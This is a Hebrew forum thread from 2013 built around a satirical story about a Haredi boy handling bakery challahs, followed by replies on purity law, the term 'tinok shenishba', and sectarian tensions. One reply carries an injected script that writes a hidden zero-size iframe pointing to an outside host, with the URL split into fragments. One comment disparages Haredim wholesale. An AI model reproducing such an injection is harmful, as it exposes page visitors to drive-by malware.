| נשלח ב-22/5/2013 11:10 |
 |
| |
השמצה אנתרופולוגית: מוישי קונה חלות
מוישי הולך לקנות חלות בערב שבת אבא לקח אותי לקנות חלות באנג'ל. חיכיתי לזה הרבה זמן. אני מאד אוהב לטייל עם אבא. נכון שאני גדול, וכבר לא נותנים ידים, וגם איני מקבל לקקן – עוד מעט אני בר מצוה, זוכרים? אבל בכל זאת. אבא ואני הלכנו למאפיה, שהיתה הומה אדם. הריח הטוב של החלות כבר דגדג לי באף ושמחתי שעוד מעט שבת. מחוץ למאפיה היו קרטונים קרטונים, ובהם כל כך הרבה חלות עד שאפילו חרוץ החיידר בחשבון לא היה יכול לספור אותן. ליד הקרטונים התגודדו המון אנשים. רובם היו חרדים משלנו. הם פשפשו בין החלות, הוציאו חלות והעמיסו בשקיות ניילון או בשקיות נייר, ועברו לאיזור הקופה כדי לשלם. אבל איכשהו הלחץ לא פחת. אבא בחר, כפי שידעתי, בקרטון הצדדי שלידו היו כמה שפחות אנשים. למעשה, היינו שם רק אבא, אני, ועוד אשה אחת. חשבתי שהיא רווקה כי לא היתה לה פאה, אבל שמתי לב שיש לידה שני ילדים. הם היו חמודים, יותר קטנים ממני, אבל בלי פיאות ורק עם כיפות קטנות סרוגות. גם האשה הזו חיכתה לתור שלה כדי לקחת חלות. אבל היא נתנה לאבא שלי לבחור ראשון מהקרטון, ואני חשבתי שזה יפה מאד. אבא אמר לי שאעזור לו. ואני שמחתי. ניגשתי לקרטון, והתחלתי לבחור. הסתכלתי על החלות מלמעלה. הן היו מעוכות. ככה זה תמיד כשבאים מאוחר ולא הולכים לקרטונים החדשים של החלות שיוצאות מהתנור. אז הפכתי את החלות לצדדים והסתכלתי מלמטה. היו חלות אחרות. חלקן היו שחומות ופחדתי שהן שרופות מדי. והיו בהירות, ופחדתי שהן לא מספיק מבושלות. אני אוהב חלות אפויות טוב. בדקתי קצת את החלות. בידים. והצצתי מדי פעם הצידה כדי לראות שהאשה מחכה בסבלנות. האמת היא שקצת התפלאתי שהיא לא עמדה לידי וגם כן בדקה חלות כמו שאני בודק. אולי זה בגלל שהיא מזרחיסטית, אז יש לה סבלנות. אצלנו אוהבים מצוות ואין סבלנות לחכות בתור. אחרי שבדקתי והפכתי את כל החלות, מצאתי שלוש שנראו ממש טובות. לקחתי אותן ונתתי לאבא ואבא שם אותן בשקית הנייר שמקבלים במאפיה. הוא חייך אלי וראיתי בעינים שלו שהוא אומר לי: כל הכבוד, מוישי. ואז, לפני שהלכנו לקופה, הגברת עם הילדים פנתה אלי. והקול שלה בכלל לא היה נחמד. ילד, היא אמרה לי, ולא שמה לב שאני כבר בר מצוה כמעט, ילד, למה אתה נוגע בחלות? לא הבנתי. הרי אני נוגע בחלות כדי לדעת אם הן אפויות כמו שצריך. מה, היא לא מבינה את זה לבד? אמרתי לה, שצריך חלות כמה שיותר יפות לשבת. היא נעצה בי עוד מבט. ואמרה: אבל למה עם הידים, למה? והוסיפה: איפה היו הידים שלך קודם? נעלבתי. ממש נעלבתי. אמרתי לה שהידים שלי נקיות, שאני שומר עליהן נקיות מהבית, ובבית הן נקיות כי נטלתי ידים ארבע פעמים אחרי שהייתי בשירותים ודווקא עם המון מים כדי שתהיה לנו ברכה. אבל הברכה לא עזרה מול האשה הזו. היא ממש העליבה אותי. אני מתבייש לספר על זה. אולי זה בכלל לשון הרע? היא אמרה לי: אני רוצה לקנות חלות בלי הידים שלך, ולא חשוב אם נטלת אותן וכמה פעמים נטלת אותן. רק מזרחיסטית מסוגלת לדבר ככה. מה זה לא חשוב כמה פעמים נוטלים ידים? אולי היא לא מקפידה על שלוש פעמים ולכן היא מסוגלת לומר כאלו מילים. אבל לא רציתי לענות לה כי אין דרך תלמידי חכמים לענות. רק אבא שלי אמר לה שזה לא יפה לדבר ככה לילד ובמיוחד שהוא עוד מעט בר מצוה. ובסוף הוא אמר לה: אם את לא רוצה, אל תבואי לחנות שלנו החרדים וזהו. אחר כך כשהלכנו להתפלל מנחה שמעתי שאבא סיפר על מה שהיה לנו לחבר שלו, שמעון. הרב שמעון הוא ממש אדם חשוב, מפני שהוא אחראי מטעם הבד"צ שלנו על ההשגחה בכל המסעדות והפלפלים של השכונה, והוא כמובן מבין גדול בכשרות ובכללי עבודה עם אוכל. הרב שמעון הקשיב לסיפור של אבא ואמר לו: אני אגיד לך למה זה קרה. זה הכל בגלל היאיר לפיד הזה, וההסתה שלו נגד החרדים. אני ממש שואל את עצמי אם זה לא לשון הרע מה שסיפרתי כאן. אבל אולי אתם לא מכירים את האשה ההיא, אז זה לא ממש לשון הרע. ובכלל, אולי אין איסור לשון הרע על מזרחיסטים?
מבוסס על
*** הצעקה האחרונה: קרב סקטוריאלי בלי ידיים http://www.nrg.co.il/online/55/ART2/471/410.html?hp=55&cat=323&loc=19
 |
|
|
|
|
| נשלח ב-22/5/2013 11:23 |
|
| |
התלבטתי אם להביא את הסיפור הזה. הוא ממש אנטישמי.
וכי יש מעלה בלחפש חסרונות? לשם החסרונות?
כדי להציל את הנושא, אני מבקש לטעון שיש כאן תופעה אנתרופולוגית. ואותה ביקשתי להציג דרך הסיפור.
מוישי הוא ילד טוב באמת. בעל ערכים. השגיאות שלו נובעות מכך שהוא תינוק שנשבה. הוא יודע על החשיבות העצומה של נטילת ידים, ובמידה שהוא שמע על כללי היגיינה (גם זו הלכה כמסתבר), הוא יוצא ידי חובה בנטילה של ארבע פעמים. סבון כנראה לא הכרחי.
הוא ממהר לבדוק חלות כי זו מצוה. ולפי מה שהוא רואה מסביב - זו נקודה שאנטישמי לעמוד עליה - גם אחרים אינם מקפידים על זה. אולי זה מעין סברת הרא"ש ביורדים להאבק, שהם מוחלים על פגיעה מראש. גם כאן מוחלים מראש על התור.
הוא משתדל לענות לאשה המזרחיסטית במאור פנים למרות שלפי מה שדגל עליו היא בוודאי "לא בסדר".
הפאנץ' ליין הוא מעניני דיומא ולא יכירנו מקומו בפורום שלנו, אילולא לא התאפקתי וסיימתי בבדיחה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/5/2013 11:48 |
|
| |
תרגיל מימי בית שני
עם הארץ נכנס לנחתום של חברים ומשש את החלות. מה היו התגובות?
|
|
|
|
| נשלח ב-22/5/2013 11:51 |
|
| |
צופר
החבר ימכור אותן לעמי הארצות שאינם מקפידים על אכילה בטהרה.
וזה דומה למה שכתבתי כאן כי?
(בגלל שחז"ל גם כן לא ידעו על היגיינה? אנו רואים שהם כן תיקנו נטילת ידים לפני כל סעודה, ולפי זה מה שתיקנו דווקא על לחם הוא מפני שכל סעודה היתה בנויה על לחם. לא כמו היום שיש לחמניות מזונות).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/5/2013 11:52 |
|
| |
ובכמה הוא הוריד את ערך החלה? וחבר הרי אסור לו למכור לח ויבש לעם הארץ, ואם הוא נכנס מי יודע במה עוד הוא נגע.
|
|
|
|
|
| נשלח ב-22/5/2013 11:55 |
|
| |
רקע למי שאינו מכיר:
יש בתורה דיני טהרה וטומאה, שאינם זהים לכללי ההיגיינה.
אוכל טמא אינו אסור באכילה, אבל מי שאוכל אותו פסול לאכול תרומה אם הוא כהן. (זה מדרבנן).
בתקופת חז"ל היו כאלו שהקפידו על דיני טהרה למרות שלא היו כהנים. ואצלם היה גדר של "חולין (=לא קודשים ולא תרומה וחלה שהולכות לכהן) שנשמרים בטהרה.
"חבר" הוא התואר של מי שמקפיד על דברים אלו.
חבר אינו יכול לאכול עם עם הארץ מפני שזה האחרון אינו מקפיד. ולכן אינו יכול להשאיל לו כלים, ואם השאיל, צריך לטבלן כשיחזיר לו, שמא נטמאו.
לפי זה, עם הארץ שנכנס לחנות של חבר, לא יגע במאכלים שבה - פירות, ירקות (אם הוכשרו, כלומר שעבר עליהם התהליך הדרוש להכנה לקבלת טומאה, כמו ביאת מים) - או לחם - כי אז הם ייטמאו. והמאכלים של החבר נשמרים בטהרה עבור חברים כמוהו.
אם קרה והם נטמאו, אין איסור הנאה בחולין שנטמאו, אבל צריך לבדוק את הפרטים בהלכה לגבי מה שחבר מותר ואסור לעשות בחולין שנטמאו. מסברה כתבתי שהוא ימכור את הלחמים שנטמאו לעם הארץ שאינו מקפיד. אבל כדאי לבדוק!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/5/2013 11:57 |
|
| |
צופר
כתבתי את ההודעה הקודמת לפני שראיתי את תגובתך.
האם אתה עושה לי מבחן בדיני חברות? איני "מונח בענין".
מה שאני כן יכול לציין הוא אכן זה כך שאם נכנסו עמי הארצות לתוך בית ויש להם רשות להסתובב בו, חוששים שמא נגעו וטימאו. כמובן, אם החבר עומד ורואה במה נגע עם הארץ ובמה לא הוא יודע מה נטמא ומה לא.
(אל נא תגררני לעיין בדינים איזוטריים אלו. אין זמני בידי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/5/2013 11:57 |
|
| |
לגבי הירידה בערך החלה, זה היזק שאינו ניכר...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/5/2013 14:59 |
|
| |
השמצות!?
הרב יצחק זילברשטיין כותב בספרו- ברכי נפש ויקרא-
ש"היהודי סיפר שכאשר הלך ברחוב בשבת קודש, מעד ונפל והנפילה גרמה לו לחבלה קשה. דם רב זב מפניו ומידיו, והוא היה זקוק לעזרה מיידית. והנה הוא מספר, נעצרה לידי מכונית שהיתה נהוגה בידי מחלל שבת רח"ל, ומתוכה יצא הנהג ורץ לעברי, הוא הבחין בפציעתי, ובא לסייע לי. ואכן, פעולותיו המהירות, והמקצועיות, הטיבו עמדי, ותוך כמה דקות הייתי מסוגל כבר לקום על רגליי, ולהתהלך כאחד האדם. יהודי זה בא בשאלה, כיצד היה צריך לנהוג עם האיש שהיטיב איתו. האם הייתי צריך להודות לו במאור-פנים, ולהגיב במלוא הנחמדות על כל מה שעשה עמדי, או שמא בשל היותו מחלל שבת, היה אסור לי לעשות זאת?
מה היתה תשובתו של הרב זילברשטיין חבר מועצת גדולי התורה ורבה של רמת אלחנן, ממשפחה מיוחסת
כך עניתי גם ליהודי שנפצע בנפילתו. גם אם לא כדאי ולא ראוי לומר תודה ליהודי מחלל שבל, אבל על פניך היה צריך לראות שאתה רוצה לומר לו תודה, אלא שאסור!".
כבוד הרב התיחס להלכה שנכתבה רק ביחס לגויים- ולא אליבא דכולי עלמא- וגייר את ההלכה ליהודי מחלל שבת.
ואין לנו על מי לסמוך אלא על אבינו שבשמיים, כי על רב כזה אסור לסמוך.
|
|
|
|
|
| נשלח ב-23/5/2013 04:23 |
|
| |
| מיימוני כתב: |  | התלבטתי אם להביא את הסיפור הזה. הוא ממש אנטישמי.
נראה לי שאתה משתמש במילה בשונה ממובנה המקובל. יש כאן התנגדות לציבור אך ורק ע"ס מוצאו משם? אגב, המזרוחניקית היא מצאצאי מי בדיוק? בנוסף, אולי תוכל בהזדמנות לבאר את "גזענות" במובן של אנטי-חרדיות?
וכי יש מעלה בלחפש חסרונות? לשם החסרונות?
לא. לשם אכילת חלה היגיינית.
כדי להציל את הנושא, אני מבקש לטעון שיש כאן תופעה אנתרופולוגית. ואותה ביקשתי להציג דרך הסיפור.
מוישי הוא ילד טוב באמת. בעל ערכים. השגיאות שלו נובעות מכך שהוא תינוק שנשבה. הוא יודע על החשיבות העצומה של נטילת ידים, ובמידה שהוא שמע על כללי היגיינה (גם זו הלכה כמסתבר), הוא יוצא ידי חובה בנטילה של ארבע פעמים. סבון כנראה לא הכרחי.
הוא ממהר לבדוק חלות כי זו מצוה. ולפי מה שהוא רואה מסביב - זו נקודה שאנטישמי לעמוד עליה - גם אחרים אינם מקפידים על זה. אולי זה מעין סברת הרא"ש ביורדים להאבק, שהם מוחלים על פגיעה מראש. גם כאן מוחלים מראש על התור.
הוא משתדל לענות לאשה המזרחיסטית במאור פנים למרות שלפי מה שדגל עליו היא בוודאי "לא בסדר".
טענת ה"תינוק שנשבע" היא מעולה. אני מחבב אותה רק מעט פחות מ"מה אתה רוצה? זה מה שאני מאמין בו". אנטישמיים, לעומת זאת, היו טוענים שהיא נטולת משמעות, ונתנת להחלה לכל כוון: המזרוחניקית ימ"ש היא אשה טובה באמת. היא רוצה להמנע מלגעת בידיה בחלות כדי למנוע נזק מאחרים. היא משתדלת שגם אחרים יעשו כן. השגיאות שלה, במידה שהיא נוזפת בחוסר חביבות בילד, נובעות מכך שהיא תינוקת שנשבתה. זה מביא אותי לנקודה הבאה.
מדוע בסיפור שלך ברור ש"הוא משתדל לענות במאור פנים" למזרוחניקית החמוצה? אולי המזרוחניקית מנסה להתגבר על אופייה החמוץ ולהעיר לו במאור פנים למרות שלפי מה שגדלה עליו הוא בוודאי "לא בסדר", והוא צועק עליה שהיא פריצע? פשפש היטב בנפשך, מיימוני - שמא יש שם אבק אנטישמיות רח"ל?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
תוקן על ידי xibolaiyu ב- 23/05/2013 04:24:06
|
|
|
|
| נשלח ב-23/5/2013 04:27 |
|
| |
אגב, זה מזכיר לי. בתור לחלות לאנג'ל, כשכמעט כולן נגמרו, ורק המצ'וקמקות עוד שם, נחלקו חכמים האם לומר "חלה נאה וחסודה", או "חלה כמות שהיא".
|
|
|
|
| נשלח ב-23/5/2013 09:54 |
|
| |
שבולייהו
אתחיל מהסוף.
איקון ירוק על ההברקה לגבי "חלה נאה וחסודה" או "חלה כמות שהיא".
ולגבי מה שכתבת על פרשנותי בסיפור.
כל מה שכתבתי נכתב בציניות. הבעיה עם ציניות, כמובן, שהיא לא תמיד ברורה ולכן נותנת מקום לטעות.
אני מוצא את עצמי בצד "המזרחיסטי" של ההיגיינה והעמידה בתור. בסיפור שמובא בלינק נראה שהביקורת הלגיטימית של הכותבת הפכה לגינוי שנראה כמוגזם מעט. לא כך בסיפור שלי. המזרחיסטית אמרה דברים של טעם. הבעיה היתה שמוישי אינו מצליח להבין את המסר. כשהיא מעירה לו על ידיו, הוא מספר לה על נטילת ידים. כשהיא אומרת לו שזה לא נימוק, שצריך לא לשלוח ידים לחלות לא בגלל שהן אינן נקיות אלא בגלל שלא נוגעים במזון שמיועד גם לאחרים, הוא לא מבין אותה וחושב שהיא מבקרת את ההלכה שלו.
כתבתי שיש לו ערכים, ויש לי רשות לעשות זאת כי אני הסופר והמחבר של הסיפור. אבל כך התכוונתי לצייר אותו. הוא מבין באיזה מקום שלא יפה להידחף. אבל הוא מצדיק זאת בשם המצוה.
ואכן, כולנו תינוקות שבויים בידי הנחות היסוד שגדלנו עליהן, או שבחרנו לאמץ לנו, וזה יכול להעשות בגיל מבוגר יותר. אנו מבקשים להיזהר מפני שיבושים ופגמים. וכל מה שאנו יכולים הוא לדון יחד בתקוה שמתוך שיחה הדדית נתעשר, נפתח מודעות להנחות סמויות, ונוכל לבחור אם להישאר איתן או להחליף אותן.
ובחזרה לדברים שכתבת, שיבולייהו. איני סבור שהמזרחיסטית מדברת בחמיצות. מוישי עצמו מכיר בנחמדות שלה ושל משפחתה. הוא אפילו מוכן להקשיב לביקורת, מה שרבים מאיתנו אינם עושים או אינם מסוגלים לעשות. מה שכן, הוא דוחה את הביקורת כשהיא אינה מתיישבת עם השקפות עולמו שהפנים לו כיון שכך מקובל בחברה שלו. וכאשר הוא טועה בהבנת דבריה, הוא חושב שהיא נכשלה בזלזול בהלכה.
***
עוררת אותי לחשוב על הכינוי "תינוק שנשבה". אפשר שראוי להקדיש לכך אשכול עצמאי ואפשר להשתמש גם באשכול הקיים.
היסטוריה קצרה מאד
המונח מופיע עד כמה שידוע לי לראשונה במסכת שבת לגבי דוגמא של אדם שמחלל שבת אבל יש לו רק טעות אחת. הוא מעולם לא שמע מהי שבת בתורה. זה יכול לקרות לתינוק שנחטף או נולד לכתחילה בין גויים שלא איפשרו לו ללמוד על מסורתו.
המונח הזה שימש כמדומה אצל הרמב"ם כדי לתאר את בני הקראים, אם כי איני זוכר אם רק הרעיון קיים אצלו, כלומר שהם אנוסים עקב אי הכרת המסורת, או שהוא ממש משתמש במונח זה.
בוודאי שהמונח משמש בספרות הפוסקים האחרונים כדי לתאר את החילונים (סליחה על הגזענות). אני יכול להעיד שהמונח משמש אצל פוסקים גם כדי לתאר את כל מי שאינו חרדי...
אני - ואולי אחרים - משתמש בו כדי לתאר כל מצב של אדם שעקב ילדותו יש לו חוסר בידיעות שאנו רואים בהן הכרח. לכן, גם אנו החרדים סובלים ממצב של תינוק שנשבה. למשל, מוישי הוא תינוק שנשבה לרעיון שאהבת המצוה של חלות לשבת דוחה תור ודוחה היגיינה.
***
האם שכחתי משהו? כן, המונח "אנטישמי" בא לא במובן הרגיל שלו כ"שונא יהודים" (שגם הוא יחסית פיתוח חדש, שכן מדברים על "ערבי אנטישמי) אלא ככינוי לציין עוינות נגד היהדות או נגד גרסה חרדית שלה. אני מודה ומתוודה שמבין שני הצדדים בסיפור, אני נמצא בצד של המזרחיסטית, ויש לי ביקורת על חברה שבה מומחה לכשרות ולמזון יכול להתעלם מכך שאב מניח לבנו לגעת בידים בחלות. כיון שמעשה כזה עד כמה שידוע לי לא היה ולא נברא, והוא המצאה משלי, יש מקום לומר שהמצאה של סיפור כזה היא, בלשון מושאלת, "מעשה אנטישמי".
|
|
|
|
|
| נשלח ב-23/5/2013 14:15 |
|
| |
"לכן, גם אנו החרדים סובלים ממצב של תינוק שנשבה. למשל, מוישי הוא תינוק שנשבה לרעיון שאהבת המצוה של חלות לשבת דוחה תור ודוחה היגיינה"
החרדים הם תינוקות שנשבו בכל מובן.
מבחינת הידע הכללי -בגלל החוסר בלימודים כלליים צרות האפקים שלהם נעשית קשה יותר מדור לדור.
מבחינת התנהגותית-הם תלותיים כמו תינוקות בשרותים שאחרים תורמים להם.הם נאחזים בעטיני המדינה ומצפים מאחרים שישרתו בצבא במקומם ,ישלמו ארנונה ומיסים במקומם,ויעבדו במקומם.
.
|
|
|
|
| נשלח ב-23/5/2013 14:23 |
|
| |
האחרונים סיימו ליטול ידיים ורק חריקת הכיסאות נשמעה כשכולם תפסו את מקומם. הסרת כיסוי החלה הוציאה גניחות פה ושם וכולם הביטו בשמעון במבט שואל. אבל בין נטילה להמוציא אין מקום לדיונים. על קרש החיתוך היו מונחות להן צמד חלות מעוכות - מעוכות ושקטות. נו, להשאר שקטים כל הערב אי אפשר אז מנחם סימן, בירך, בצע, טבל וחילק. עודנו בין שיניהם וכולם פה אחד אל שמעון לקבל הסברים. שמעון השפיל מבטו ואמר בפשטות: הבטתי במדף של החלות במכולת והיו שם חלות יפות וכמעט שלקחתי אבל בצד מאחור היו את אלה. שמעתי אותן מתחננות - שמעון אם אתה לא תקנה אותנו מי יקנה. אז קניתי.
|
|
|
|
| נשלח ב-23/5/2013 14:29 |
|
| |
ירובעל
תשובת המשקל לביטויים דומים ששמעתי בעוו"ה במאסטר שף.
|
|
|
|
|
